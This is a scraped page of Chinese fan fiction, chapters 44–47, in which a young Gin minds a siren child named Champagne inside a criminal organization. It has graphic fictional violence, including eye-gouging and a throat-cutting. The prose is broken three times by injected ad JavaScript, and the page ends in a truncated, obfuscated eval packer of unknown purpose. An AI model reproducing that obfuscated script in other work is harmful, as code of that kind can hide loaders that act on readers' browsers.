对于他们这种体量的庞然大物来讲,是没有办法从外界粉碎的——百足之虫,死而不僵,内部的腐朽和溃烂才是夺命的快刀。 da·Marino也不例外。 敢做出这种事情来,最好能守得住…… ——连这种事情都拎不清,怎么可能呢? 匹斯克一想到接下来还有机会,能在另一个庞然大物身上狠狠地撕下几块肉来,甚至斩断一条手臂,之前为了清理掉这孩子的父母,损失掉的整个魔法组和大半行动组也是完全“物超所值”的投资罢了。 “就叫‘香槟’怎么样?” 胜利之酒的香槟。 隔着一层屏幕,也能感受到男人对这个孩子由内而外的满意,毕竟谁会不喜欢钱呢? 朗姆对BOSS想要赋予什么代号没有意见,反而是对这种名为“炫耀”,实为“敲打”的行径提起了120分的警惕: 本以为BOSS这个岁数,中间又失去音讯了这么久,早该撑不住了才是,没想到…… da·Marino还真是麻烦。 ——看来之前的行动要缓缓了。 朗姆是个急性子,眼见着最后一个在场的“当事人”,被BOSS问话都没有反应,遂将手臂努力伸进笼子里,指尖捏住了祂的翅膀,手像铁钩似的,将缩成一小团的孩子往笼子边缘拖。 这个笼子的半径大概有成年人的手臂长,所以用力的时候,整个身体就要尽力的贴近笼子壁,才能有更多的富裕,好抓住祂的身体。 小孩努力挣扎,哪里拗地过成年人的力气,还是不可避免地被硬拖到笼子边缘,和朗姆那张因为用力狰狞着的脸面面相觑。 朗姆看见这张脸的第一反应是:表情平静,比祂那个既不中看也不中用叔叔强不少。 但是下一瞬间,朗姆就点评不起来了:小孩扬起嘴角,对他露出一个古怪的笑容,在所有人都没有反应过来的时候,反手将手臂探出笼子,毫不犹豫地袭向他的眼睛! 新鲜剖出的眼球弹性十足,被丢在失主的脸上,再掉在地上,弹了弹,滚到一边。 另一只完好的眼睛,清明的看到祂脸上毫不掩饰的讥讽: 傻瓜。 * 黑泽阵不许香槟靠近抱他,香槟就抓着他的手不放:“他先抓我的……” 44.二分之一法兰西75 黑泽阵不许香槟靠近抱他,香槟就抓着他的手不放,很小声地给自己伸冤:“他先抓我的……” “你不讲道理,不能自己是坏蛋,还要拿着另外的标准要求我……” 黑泽阵低头看着眼前的孩子,蔫趴趴地给自己找补的同时,还默默控诉自己的不近人情,双重标准。 就像是在观看一本早就被透漏了结局的侦探小说,因为早就看破了谜底,所以每一个情节每一个镜头都像是在旁观凶手荒诞又滑稽的独角戏,再惊艳的桥段都没有办法掀起一丝一毫的波澜。 香槟不是自愿到组织里来的。 这点见过祂的所有人都心知肚明,香槟自己也从未遮掩过,甚至一直对着周围的成员跃跃欲试地伸爪子。 更何况有些事情不能细想:这么小的孩子,没父母,又正好被组织捡到,还顶着一个这么滑稽的名字的可能性有多少? 黑泽阵很清楚,对于香槟来说,周围的所有人都不无辜,无非是主谋、帮凶、从犯的区别,香槟理应平等地对所有人都抱有恨意。 包括自己在内。 这种微妙的对抗会一直持续到“主人”对香槟失去兴趣,或者香槟先一步被驯化。 黑泽阵清楚自己应该在其中扮演着什么样的角色: “不是两种标准要求你,而是叫你注意自己的方式——除了你自己以外,你还见过哪一个像你这样,专门盯着别人脖子咬的,或者特意去抠别人眼睛的?” 黑泽阵其实也一直想不明白,为什么香槟对自己的兴趣能始终如一且经久不衰。 ——按理说自己也不过是祂一时兴起的监护之一,香槟之前怎么对待其他“同行”的,黑泽阵早就看在眼里,为什么对自己的态度这么在意才是怪事: “你很喜欢在丧尸片里面担任特技演员吗?” 香槟感觉黑泽阵说的有点不对,但是又说不清楚具体有哪里不对:“……本来也不是人,就是应该这个样子。” “把你的对手当成敌人处死,而不是把他们当成牲畜屠宰——至少下次学会借助工具吧?” 黑泽阵有时候也会嫌弃香槟有些埋汰:有这个脑子,一天天的和会说人话的狼孩一样,算是怎么回事? 先从学会用脑子克制本能开始。 香槟似懂非懂,但这不妨碍祂给黑泽阵谈条件:“……那要是我听话的话,你别不要我行吗?” ……所以说,为什么对这件事这么耿耿于怀啊。 黑泽阵才不上套,给了个模棱两可的答复: “看你表现。” * 自从那天的“开诚布公”之后,香槟开始有些在黑泽阵面前小心翼翼地,虽然照样是各种惹人生气,但在这之后多了小心翼翼观察的环节。 而且粘他粘的更紧了,黑泽阵一离开祂的视线范围,就开始焦虑地绞自己的头发,给自己编小辫,又不敢跟上前去,害怕再被讨厌。 但是香槟的手艺又实在很烂,编了多少次都没有什么长进,每次都把头发弄成解不开的结,最后等黑泽阵回来的时候只好拿剪刀把这一缕头发剪掉。 即使就是面对面的距离,没有眼神交流,黑泽阵都能感受到香槟在竖起耳羽,暗戳戳地听着他的动静。 一直把塞壬本来柔顺整齐的头发剪成烂拖把条之后,没什么带孩子经验的黑泽阵才后知后觉: ……对这个年纪的小孩,尤其是家长不在身边的香槟来说,“不要你了”这种话好像有点过分了。 而这种焦虑在他下一次要出任务的时候爆发了: 黑泽阵看着站在自己行李旁边,被精心打扮过,甚至还做了头发,弄成像是一个洋娃娃一样的“小女孩”,识相的选择了闭嘴。 旁边猩红眼的男人对香槟从未有过的“温顺”显得很是受用,一遍遍不厌其烦地伸手去捏扣在香槟脖子上,被领口遮住加装了定位的束缚器,一边还像是一个慈祥的父亲一样,细细叮嘱出门的注意事项。 上一次还对他没个好脸色的小孩这次不知道受了什么刺激,怔怔地不敢躲更不敢发脾气,只知道僵着身子胡乱地点头。 “麻烦玩够之后,把祂好好的带回来。” 黑泽阵低头应下,领着香槟转身离开。 顶着某人如芒在背的目光,香槟好像是想要抓他的袖子,但是又怕黑泽阵拒绝,伸出的手又缩了回去。 然后被察觉到的黑泽阵一把抓住手腕,小孩子细嫩的皮肤被带着薄茧的手心攥住,拖着他一起往前走,把祂塞进组织特派的小轿车里。 ……想抓就抓。 车里的气氛很是沉闷,司机沉默地开着车,香槟腰杆挺得笔直,黑泽阵也不肯说话,在这个小盒子一样的密闭空间里,弥漫的是死一般的寂静。 一直到下了车,搬进临时的安全屋,确定没有监控和窃听之后,黑泽阵原本平静的脸色才显现出些许阴沉来。 抽出贴身的匕首,将裙撑解下来,把紧紧环在塞壬腰间的束腰割断,才叫被绑成木乃伊的小孩终于能松口气。 头发和耳羽被发蜡固定成17世纪流行的,“高耸入云”式的假发,沉重的发型把本就用尾巴走路,重心不稳的小孩压得东倒西歪。 黑泽阵沉默地把小板凳搬到花洒旁边,自己坐下,叫香槟趴在自己腿上,给祂洗头。 发蜡涂的太多了实在很难清洗,但是耳羽又被和头发粘在一起,也没有办法图省事一起剪掉,只好涂上护发素,用水冲掉之后再一遍遍地涂上洗发水搓。 整个过程中香槟表现得很安静,即使有时候为了搓开头发,黑泽阵不小心扯疼了祂,也只是下意识地缩一下,很快就又乖乖地趴好。 黑泽阵大概明白为什么,香槟这么粘着自己了: 虽然黑泽阵对祂态度不算好,嫌弃祂犯烦人事多是常态,不想浪费时间遂冷暴力也常有发生,也不是没有动手打过祂…… 但是他至少不会虐待祂。 对于香槟而言,受冷脸和受虐待,该选哪个祂还是分得清的。 ——更何况黑泽阵是平等地对所有人没有好脸色,动手也是收着力的,什么时候都很有耐心,还会给自己做好 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吃的。 香槟头发实在是太多了,花了一整个下午才把头发清理干净,虽然全程都很配合,但还是不可避免地弄得两人浑身都湿漉漉的。 于是顺便又洗了个澡。 黑泽阵从箱子里面扯出毛巾给祂擦干净水,套上猫猫头黑卫衣,开始给祂吹头发。 ……自己的头发短体质也好,随便擦擦也没什么,小鬼叫祂自然风干,估计不用明天,今天晚上就得发烧进医院。 香槟没事干,就开始玩自己的袖子,玩着玩着发现有些不对劲:总感觉这件衣服有些似曾相识,好像是什么非亲非故的老朋友。 捏了捏袖口的粉色爪垫,手感也好像耶? “……为什么这件衣服自己又回来了?” 不是当初在禁闭室的时候,被阿阵直接丢出去了吗? “蠢,”黑泽阵觉得塞壬的脑回路有时候实在有点神经,“当然是一起买的。” 黑泽阵才不肯把宝贵的时间花在挑选衣服、搭配衣服上,所以每天拉开衣柜就可以玩同类消除小游戏——款式雷同到可怜。 香槟才觉得黑泽阵脑子有病:“你一买买两件一模一样的?” 那岂不是每天都要穿得一个样?! ……仔细想想,印象中阿阵确实也没换过几次衣服,室内室外也不过是一件黑风衣加黑礼帽的区别。 但是在此之前,香槟都以为是因为他只有一套衣服啊?! 因为是训练营里面出来的,所以好穷没有办法买衣服什么的…… 住所和活动经费组织可以报销,但是衣服这种就只好自掏腰包了。 亏我还(自以为)很体贴地没有问呐? “怎么可能买了两件?” 黑泽阵对香槟难得的大惊小怪嗤之以鼻,伸手摁住祂的头顶,制止祂乱动,宣布了这个噩耗:“不算身上这个,你还有八件这样的卫衣。” 加上上次丢掉的那一件,就是十件了。 太难过了,每天都要穿的一模一样——这和每天出门都要顶着一张丑脸,口袋里面也没有钱有什么分别? 黑泽阵没办法理解小鸟内心的悲愤和忧郁,反而还要雪上加霜:“我给你修修头发——剪个寸头怎么样?” 之前一缕缕剪得坑坑洼洼,就像是狗啃的一样。 何况把头发剪短了,也就没那么像女孩了,下次那人应该也不会故意去弄祂的头发。 ……但愿吧。 “不要!” 香槟可宝贝自己的头发了,剪头发和剪羽毛有什么区别?! “不能剪,剪了就变得又秃又丑了!” 一想到以后每次出门,都要顶着一头短短的,和没有一样的寸头,这种悲惨的未来光是想想,香槟就要昏厥了。 “即使长头发打理起来很麻烦?” “那也不要剪!”香槟很坚持,“顶着丑兮兮的头发,别人就会说,这个小孩这么丑,实在是太可怜了——我最讨厌别人可怜w……” 黑泽阵的回答是来自剪刀闭合的,一阵清脆的“咔嚓”声。 45.二分之一法兰西75 因为被黑泽阵武力镇压,强迫剪了个妹妹头,顺便打薄之后,香槟坚持认为自己现在斑秃了,以维护市容市貌为由,拒绝摘下兜帽,单方面宣布和罪魁祸首冷战。 黑泽阵发现自己被冷待后心情大好,一到任务地点就把香槟丢给监视人员,头也不回地奔赴任务(自由)。 本来想着只要对方随便给个台阶下,自己就顺便原谅他的香槟被晾在原地,身边只有一个讨厌的监护。 香槟有些憋屈。 ……要不要把“嫌弃”表现得那么明显啊? ……至少稍微装一下吧? 小孩顶着自己黑色猫耳朵,理直气壮地指使监护人员给自己跑腿,买海豹馆门口的小鱼喂海豹:“我要那个。” 然后被讨厌鬼一口回绝,斩钉截铁似的:“不行。” 因为香槟在外面加强防守,所以被临时抽调过来看孩子的田纳西很有身为拐带小孩的人贩子的觉悟,拒绝香槟和任何人接触,不允许祂离自己超过一米远。 代号成员的消息权限更高级些,他对香槟是个什么样的“恶魔”早有耳闻,从一开始就打起了十二分的警惕: “别想耍小花招,你知道的吧?要是你敢玩什么花样,上面不一定拿你怎么样,但要是追究下来,黑泽阵首当其冲。” 谁叫香槟只有在黑泽阵面前,才肯勉强收敛爪子呢? 啧。 香槟瘪瘪嘴,像其他同龄的熊孩子,愿望没被满足就开始哭嚎着在地上撒泼打滚,威胁爱面子的“家长”就范一样,零帧起手“哇”得一声就哭了出来。 引得周围的游客频频侧目。 田纳西早些时候在一次任务中,眼角留下了大概有三公分左右的刀疤,带着口罩,看起来实在不像是什么好人。 香槟没有摘下兜帽,因为哭泣的缘故,头顶的那对猫耳朵随着喘息的动作,一抖一抖的,显得可爱又可怜。 “……别哭了。” 突然成为了大家视线的焦点,田纳西脸色阴沉,压低声音,显得更不像好人。 小孩声音一顿,随即哭得更大声了。 一旁一对穿着情侣装,看起来约莫二十岁上下的情侣,女生扯住了男生的袖子,停下了脚步,一边小心翼翼地观察着他们,一边凑在对方耳边轻声耳语。 更多的人也放缓了步伐,沉默地行注目礼。 “……这位先生,”女生鼓起了勇气,上前两步,迎上了刀疤脸的目光,“请问这是你的孩子吗?” 有人带头站了出来,人群中也响起附和的声音: “是啊?那是你的孩子吗?” “长得一点也不像啊?” “哪有那么凶自己孩子的?” “家长也不哄哄——谁家孩子舍得让他这么哭啊?” 直到一个大嗓门,看起来有几分假小子样的高中生直抒胸臆:“该不会是从哪个地方偷来的吧?” 旁边嘈杂的声音就像是被按下了“静音”键,顿时变得死机,只有周围人越来越沉重的目光打在田纳西的肩头,带着探究和怀疑。 是啊,海洋馆人流量这么大,又几乎是家家带着孩子,说不定是哪个丧良心的就盯着这个时候偷小孩呢? 男生上前几步抓住女友的手臂,将她拉回到自己身后,轻轻推到香槟身边,自己隔开“嫌疑人”。 女生蹲在香槟面前,捧着祂的脸给哭得像是水坝决堤一样的小孩擦眼泪。 本想将碍事的兜帽摘下来,但是小孩好像很是抗拒,哭得说不出话来,但是坚持抓住帽檐不肯松手,所以也只好作罢:“告诉姐姐,你认不认识这个叔叔?别害怕,大家都在身边呢,有什么话都可以说。” 田纳西被人群围住,面色不虞,将手伸进衣服的内袋里,就要摸枪。 一旦香槟说出什么不该说的,下一秒就是暴起脱身。 比起伤人引发骚动,最后有可能导致隔壁任务的失败,还是“香槟走失”的情况更严重些,更何况再犹豫下去,恐怕自己的安全也没有办法保证。 ——隔壁又不是田纳西的任务,这次失败了也有之后再补救的机会,最多欠下几分人情债,丢人情还是丢命,田纳西还是分得清的。 “认……认识……”在这么紧张的气氛里,香槟终于结结巴巴地宣判了疑犯的无罪。 本来也没指望对普通人求救。 组织有代号的行动人员,连打电话报警摇来的警察都很难处理,向着普通人求救除了多搭上几条人命之外,没什么用处。 周边人一听不是拐卖,纷纷松了一半口气。 女生还是将信将疑,把看起来哭得快要厥过去的小可怜搂在怀里,轻轻给祂顺背:“那你告诉姐姐,他叫什么名字好不好?” “小……小野木……小野木直人——是……司机……叔……叔叔。” 田纳西不动声色地转换了方向,摸出自己的假驾驶证。 男生点头确认后,剩下的另外半口气也松掉了,人群就像是终于被修好的机器,又开始了缓慢的前行。 ——看来是社员带着社长家的小孩来玩的。 “那告诉姐姐,为什么哭啊?” 还好只是小孩闹脾气,没有被拐真是太好了。 小孩埋在颈窝里,小声地告状:“我想……喂海豹……他不给我买……” 女生扭过脸去,征求平白蒙受不白之冤的男人的意见。 田纳西一脸晦气:“买买买!” 一怒之下怒了一下,不敢对香槟发火,怕祂故技重施的田纳西只好对着自己的钱包撒气,把装在小铁桶,冻在冰柜里的鲜鲱鱼一扫而空,全都堆在海豹馆门口。 工作人员一看自己今天的奖金稳了,态度良好连连赔笑,表示自己现在就去补货,要是待会还需要的话,随时可以再来。 “那个……不好意思误会您了……” 小情侣有些窘迫地道歉,转身离开,颇有几分落荒而逃的意味。 读作财神爷,写作冤大头的田纳西把夹子塞在香槟手里,阴沉着一张脸,恨得牙痒痒:“喂吧。” 香槟离了人群,又变成那副讨厌 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的样子,眼泪说收就收,很是蔑视地上下打量了田纳西一眼,虽然没有出声,但是香槟有双会说话的眼睛: 何必呢? “给我提桶,傻瓜。” * 根据这次任务的情报所述:原本被组织扶持的议员松下和彦,在成功上位之后突然长出了“身为国家要员的正义和觉悟”,翻脸不认人,妄图“洗心革面洗白上岸”。 也是知道自己做了亏心事的缘故,议员先生平时身边严防死守,连只苍蝇都飞不进去,直到这次受邀参加海洋馆的剪彩活动。 这种胆敢背叛的老鼠下场如何,其他受组织贿赂,为组织暗开后门的“保护伞们”也持观望态度——如若处理不当,恐怕有一就有二,即使不至于翻脸不认账,阳奉阴违偷工减料肯定是少不了的。 而黑泽阵这次的任务是协助对松下议员的狙杀,和其他没有代号的成员一起,负责周边的盯梢部分。 海洋馆第一天营业生意火爆,又正逢周末,正是家长带着孩子亲子活动的不二选择。 黑泽阵换了一身修身的高领毛衣,搭配万年不变的黑风衣黑礼帽,挺拔高挑的身材配上优越的脸,在海洋馆昏暗灯光的掩护下,完美地融入到了游客的氛围中。 少年先是跟着一个混血家庭的后面,随着人流的方向缓慢前行,将距离控制在一步之遥,看起来就像是一个周末被迫参加家庭活动,所以不情不愿地坠在家长身后的初中生。 这家海洋馆的设计类似于蚂蚁洞,不同展馆之间要上坡下坡,只有离得很远在分岔口的地方才有路标,方向感不好的人即使对着地图也很有可能会迷路。 小孩子兴奋地尖叫声此起彼伏,隔着一层玻璃的白鲸也很“热情”地配合拍照,一时间按下快门的“咔嚓声”不绝于耳。 黑泽阵小心地避让开镜头,不经意碰到了几个同龄的JK,充分发挥自己这张脸的优势,操着一口结巴加跑调的日语,磕磕巴巴地对着当地人求助: “请问一下,我的朋友,有没有见到?” 热心的女孩子一下子围了上来,叽叽喳喳的询问细节。 黑泽阵现在的人设是既不会英语也不会日语,和朋友被人群挤散的可怜小老外,一边睁眼说瞎话,装自己不会讲日语,一边借着几人的掩护明目张胆顺理成章地四处张望。 这里是通往海底隧道的必经之路,但凡要在自己负责的区域活动的,都躲不开他的眼睛。 ……还真让他发现了一个可疑人员。 穿得平平无奇,但是从身形还有动作来看,绝对是同行——而且黑泽阵确信这张脸没有在松下议员的保镖名单里出现过。 借口打电话打发了几个热心的路人,黑泽阵绕到角落,对着耳麦:“海底隧道发现可疑人员,身份不明。” 耳麦那边没有回应,伴随着沉默的几声意味不明的沙沙声。 海底隧道的蓝色光芒打在游客们的脸上,不祥的阴影渐渐爬上黑泽阵的心头,直到对面传来了死刑的判决: “哟,发现一条漏网之鱼。” 46.二分之一法兰西75 田纳西没想到,自己的工作范畴还要包括,在海洋馆客串临时饲养员。 海豹馆的展出类型是斑海豹,体长在一米五到两米之间,海洋馆里面准备的那种小份的鲜鱼,和冰块一起堆在小桶里还不够海豹塞牙缝的。 香槟对这种干活的事兴致缺缺,很是随便地在小桶里面挑挑拣拣,然后用夹子夹起一条丢在地上,湿冷的鱼肉砸在地面上,发出一阵粘腻的啪唧声。 海豹这种生物介于聪明和不聪明之间,发现了有小鱼吃,就都蹭着肚皮,笨拙地一拱一拱,挤到香槟面前,仰着自己滑稽的鼻孔继续讨要食物。 密密麻麻的海豹铺满了眼前的地板,每一只海豹都面朝着塞壬的方向,时不时地仰起头,像是在无声地朝圣,觐见自己的国王。 田纳西站在香槟身后,不动声色地将祂和其他人隔开,充当猫猫头国王的王座。 一桶小鱼很快喂完了,香槟转身换了一桶新的,被鱼肉引诱的海豹跟着香槟的脚步往前攒动,在两人的周边围成了一圈,像是摇尾乞食的大狗。 香槟努力将手举高:“……等等。” 但是显然一心只想吃小鱼的海豹们都不想“等等”,很是没有边界感的硬是往前挤,为首的那只还很不讲究地打了个响鼻。 ……丑丑。 看着“包围圈”越缩越小,香槟有些嫌弃地瘪瘪嘴,缩到田纳西的身后,被全部注意力都集中在自己身上的男人一把揪住帽子和头发:“别乱跑!” 小孩既不回话,也不恼怒,顶着属于海妖的那张好看到瘆人的脸,面无表情的看着他。 一只蠕动到脚边的海豹张开大嘴,狠狠地咬在了田纳西的小腿上,剧烈的疼痛迫使男人不得不下意识地松开手。 ——成年雄性斑海豹身长可以长到两米,咬合力足以咬碎血肉和骨骼。 一直到田纳西被另一只海豹撞倒在地,旁边的游客才迸发出尖锐的惊呼,连忙前去联系工作人员……去补充冰柜了。 乱成一锅粥的游客只好自己想办法组织起来,解救因为不知名原因被袭击的无辜男子。 斑海豹相对温顺,但从体型来讲也算是成熟的捕食者,又是群居动物,大家不敢硬来,好在它们也没有对其他人产生敌意,于是场面就这样僵持了下来。 被放倒在地,再被肾上腺素安抚好的田纳西从腿与腿之间的缝隙里,看见了某个再眼熟不过的猫猫头,悄悄捡起自己的手/枪,藏在卫衣腹部的口袋,抱在自己怀里。 察觉到对方目眦欲裂的神情,香槟动动嘴,无声地吐出一串音节,扭头钻进了人群中: 第十二个。 * 黑泽阵心里咯噔一声,企图联系其他人,未果。 ——出事了。 那么现在问题来了: 是选择现在抽身撤退保证安全;还是选择在没有其他援助的情况下力挽狂澜? 少年一面不动声色地尾随着那名可疑人员,一面联系同样在现场的田纳西威士忌……也没有消息。 啧。 一时间也说不明白,一会是要去救香槟,还是要去抓香槟——总归都是任务完成之后的额外加班。 黑泽阵顺着对方前进的方向,急行几步超过了男人,抄近路在他的必经之路上拐进了人迹罕至的员工通道。 他不想放过对方这条大鱼——下一次狭路相逢撞见对方的运气可未必再有了。 在昏暗灯光的掩护下,少年的身影被黑暗吞没,只留下一个模糊的影子——而面对自己来时方向的黑泽阵知道,对方的身影肯定很清楚。 至少比隐秘在阴影中的黑泽阵更清楚。 ——我发现了他,他不知道我发现了他。 从体态和体型判断,这个人平时应该也经受过严苛的训练,至少力量很足,而且也不排除随身携带枪的可能。 好在这里距离游客通道并不遥远,对方优先选择的应该是更隐蔽的体术,可能会有冷兵器,而非会迸发出巨大声响的热武器。 而正好黑泽阵对自己的体术也很有自信。 估计没几个胆大到黑泽阵这个程度,敢在自己断联且被发现的情况下,不优先选择隐秘身形,偏偏胆大包天反其道而行之,把自己当诱饵,准备伏击前来捕猎的鲨鱼群。 黑泽阵扯下风衣胸口的扣子,屏住呼吸,浑身紧绷,打起十二分的警惕,像是优雅的猫科猎手,耐心地等待着猎物的到来。 来了。 男人一无所知地踏进了猫科动物耐心布下的陷阱。 金属纽扣质地坚硬,托在手心上沉甸甸的分量十足,此刻被黑泽阵捏在指尖,当子弹一样丢出去,击中了头顶的唯一一盏昏暗的小顶灯。 突然失去了所有光明的男人下意识地比出防御的姿势,仗着自己力量和体型的优势,逼退了早就适应黑暗环境的黑泽阵。 少年应着对方的拳头,反手抓住了男人的手腕,拧腰起跳,膝弯锁喉,通过核心力和惯性的加持,成功打破了对方的重心。 在男人企图稳住身形重整旗鼓时,夹在少年指尖的冰冷就吻上了他温热的颈动脉,下一瞬间,锋利的刀片就夺走了对方的鲜活的生命。 顾不得休息,黑泽阵将瘫软在地的男人拖到阴暗的角落里,从口袋中摸出他的手机,用他的指纹解了锁,很不见外地开始翻阅对方手机里的机密信息。 有一点血粘在了黑泽阵的指尖,被他不动声色地擦在了对方的胸口。 ——反正当事人都没说什么,那就算是同意了。 从零碎的只言片语中,黑泽阵大体拼凑出来了这次任务的另外一面: 准 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 确的说,这次任务对象,松下议员不是单纯的背叛了组织,而是在组织和另外一个地头蛇之间做出了选择——结果显而易见,对方更有诚意。 为了显示自己的诚意和决心,双方一拍即合,决定反利用这个机会将计就计,狠狠地叫自己的前东家出出血。 对于这个极道组织而言,松下和彦作为被自家上线“看上”了的人才,这样做的好处就是可以断了他的后路:和组织有血债在身的松下再没有胸怀二心的可能,只能绑死在这条船上,一荣俱荣,一毁俱毁。 而对于松下和彦而言,将这两个庞然大物牵扯进来,又结了梁子,自己从“吃里爬外的叛徒”,首当其冲的第一优先级,就会下降为躲在保护伞后面的第二,甚至是第三、第四优先。 总而言之,是绑死双方利益的一种选择。 不过那都不是黑泽阵现在应该操心的事情。 在昏暗的环境中,手机刺眼的光芒打在脸上,顷刻间,尚且年幼但已经初具气候的头狼就有了一个可行的计划: 黑泽阵仔细整理了自己的着装,将尸体也藏得更隐秘了些,拐出走廊,径直找上了带着蓝白双色帽子,穿着统一工作服的工作人员,操着一口磕磕巴巴还带跑调的英文: “不好意思,请问监控室在哪?” “这位客人,有什么可以帮助到你的?” “我的弟弟走丢了,”“外国友人”的英语实在不敢恭维,一边口述,一边比划才勉强表达清楚自己的意思,“能不能帮我找一下?” 少年比了比自己的腰间:“大概这么高,穿着一件黑色卫衣,白头发,七岁。” “那我们带您去广播室,您看这样可以吗?” 黑泽阵毫不惮于在外面抹黑香槟的风评:“太遗憾了,祂有听力障碍。” “那我带您去监控室找一下吧。” 黑泽阵“紧张地”推开了监控室的大门,对着几个神色有异的“工作人员”复述了一遍自己的诉求,开始堂而皇之地观看海洋馆所有的监控。 顺便观察自己旁边的几个“保安”。 ——如果是有议员参与进来的活动,那么自然也要考虑到对方打开方便之门的可能:直接以权谋私,将行动人员安排成保安,就可以顺理成章地尽可能掌握整个海洋馆的动向。 黑泽阵眼见着在一块角落的屏幕里,一个眼熟的身影,顶着一对耳朵,正“跑着”穿过海底隧道,怀里好像还抱着什么东西。 ……跌跌撞撞,龟速前进,姑且算是跑着吧。 田纳西没有在身边,不知道现在是否存活——不过在公共场合,香槟直接下杀手的可能性不大。 按照现在断联的情况来看,估计也是指望不上的。 要快些了,黑泽阵如是想到,尽可能在香槟跑丢之前解决问题。 47.二分之一法兰西75 听见一声闷响时,香槟正抱着怀里的手枪,追着领路的鲨鱼,跌跌撞撞地往前跑。 再快一点。 鲨鱼的嗅觉可以在几公里远的距离,捕捉到血腥味,灰扑扑的家伙瞪着没有眼皮的一双溜圆眼睛,循着血腥味摇曳着尾巴,领着香槟去寻找血液的源头。 等发现小孩被落下之后,再调转方向,回头去找不得不在陆地上行走的海妖。 像灰色的大狗。 尾巴好疼。 即使塞壬可以像人类一样,立起身子,正常直立行走,但是突破生理结构的跑跳还是有些太超过了。 最下面的一小块尾骨,负担起了直立部分的所有重量,骨头直挺挺地戳在地上,感觉自己像是一只脱骨鸡爪。 痛死了。 这时候就很想开枪,把玻璃打碎。 然后巨大的水压就会将玻璃沿着弹痕冲破,海水倒灌进来,将整个地势低洼,出口狭小的海洋馆淹没,里面所有来不及逃跑的人都会像茶壶里面煮的饺子一样…… 香槟从小就有一种很微妙的天赋,可以根据眼前的吉光片羽,在脑海里面呈现出往后几分钟、几小时甚至是几个月之后的发展趋势。 不是预言,因为祂也经常会出错。 也不是推理,因为这种推演祂自己也讲不出来什么证据。 硬要形容的话,规律,或者天性。 鲨鱼有鲨鱼的规律,比如说在肚皮反过来的时候就没有办法正常游动。 人也有人的规律,生老病死,喜怒哀惧,贪嗔痴慢疑。 在弱小的孩子面前就会放松警惕,感受到攻击性就会本能地反击…… 但是阿阵不一样。 笑脸和讨好没有办法叫他展颜,眼泪和示弱也没有办法叫他动容,甚至蓄意的挑衅和招惹,也不过是一句,今天晚上想吃什么,最多是几下雷声大雨点小的巴掌,教育性的。 想不明白,阿阵太复杂了。 就像是他执拗的认为,香槟也是人,所以也理所应当的应该遵守人类的行为模式,可以干坏事,但是要文明一点,不可以像野兽一样随便咬人。 ……还是算了。 这样乱搞破坏,阿阵肯定又要生气。 鲨鱼将香槟带到三楼时,香槟的尾巴已经阵痛到几乎没有知觉了,灰色的庞然大物在玻璃的的尽头担忧的转了几圈,最后只能不甘心地离去。 海水的范围到此为止,它没办法再往前走了。 不过没关系,这个距离,足够香槟循着心跳声和血腥味找到唯一的幸存者。 香槟踏入伸手不见五指的接待室,站在门口隐隐约约看见一个模糊的身影,准确的说,唯一一个能听见喘息声的活人。 这个频率,曾经耍赖被黑泽阵抱在怀里的时候听见了无数次,香槟绝对不会认错。 空气中弥漫着的,除了腥甜的血味,还有淡淡的酒味,硝烟味,干粉灭火器的味道。 香槟迅速拼凑出了事情的经过: 阿阵找到任务目标,丢出灭火器并射击,遮挡视野,杀了……目前看是有十四个人,在此之前还弄到了手枪,考虑到自己一路上畅通无阻,八成也破坏了监控。 估计总人数是在十八左右。 等眼睛适应了黑暗的环境,香槟才看清,故事的主角正很安静地坐在墙角,即使有陌生人擅闯入境,也没有反应。 原本总是出门不离身,打理的整整齐齐的黑风衣现在凌乱的披在身上,帽子不知道到哪里去了,从背后的阴影来看,身上血迹斑斑,不知道有多少是自己的,又有多少是来源于别人。 亮银色的头发也沾了血,现在正无力的垂落下来,足见主人状态不佳。 即使是这样依然腰背挺直,虽然没有对视,但是香槟隐隐能感觉到,他在注视着自己——这是被大型猛兽盯上了的一种本能的直觉。 是陷阱。 如果是我,或者是其他想要上前一探究竟的人贸然向前,估计会瞬间被蛰伏着的猛兽制伏。 小孩后退两步,摸出手里的枪,弄开保险,指着对面假寐的银狼:“你还清醒着吗?” 黑泽阵被识破了,一声冷笑,合着血腥味的声音被从喉咙里挤出来,扯着侧腰的伤口生疼,伴随着独特的吸气声。 “……没跑?” 香槟脆生生地回答:“那样清算责任的话,阿阵会被处理掉的吧?” 所以我来找你了。 黑泽阵几乎可以想象到,祂讲这种话的时候,眼神清凌凌的,香槟钟爱和人对视,尤其是讲话的时候更喜欢仰起头,盯着对方的眼睛。 于是自己的身影从祂的眼球上倒映出来,就好像是祂满心满眼都是自己——香槟有一双很会爱人的眼睛: “跟我回家怎么样?” 有些话一旦说出口,后面的就会变得很容易。 “我家可有钱了,比组织都要有钱。所有人都应该听我的,也没有人会管我们,想去上学,去哪里玩都可以,可以研究魔法,每天都有好吃的,阿阵不用每次都拼上性命出去做任务……”我也不用在这里当实验耗材。 黑泽阵冷嗤一声,打断了小孩越来越小声的游说:“那你是怎么进组织的?” 香槟的父亲在北欧的一处小岛上有座城堡,经营着一家画廊,但是和其他以此道谋生的人相比不同的是,他不是出售自己的画技,而是出售别人的青春。 冰岛的维度太高了,在香槟的记忆里,每年只有短短的一两个月是暖和的,祂那时候最喜欢在阁楼的落地窗面前晒太阳。 透过透亮的玻璃,就看到一个个只该在电视上,报纸上出现的风云人物,商界大鳄,老态龙钟的进来,青春洋溢的出去。 客人来的时候拖家带口,走的时候形单影只,感激涕零地。于是画廊里就会又多出一张新画,在祂来回经过的时候,瞪着一双双骨粉绘成的眼睛,无声地盯着祂。 那时候香槟也是小小的一团,喜欢窝在窗边的软沙发上,伸手去喂窗外来来回回像是土匪一样讨食的乌鸦。 他要死掉了。 很没由来的,香槟产生了这样的念头,说不清楚是诅咒还是预言,这是忤逆时间的代价。 直到城堡迎来了一位新的客人,很老很老了,比之前每一个来这里的客人都要老的多,已经一百四十多岁了。 香槟不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 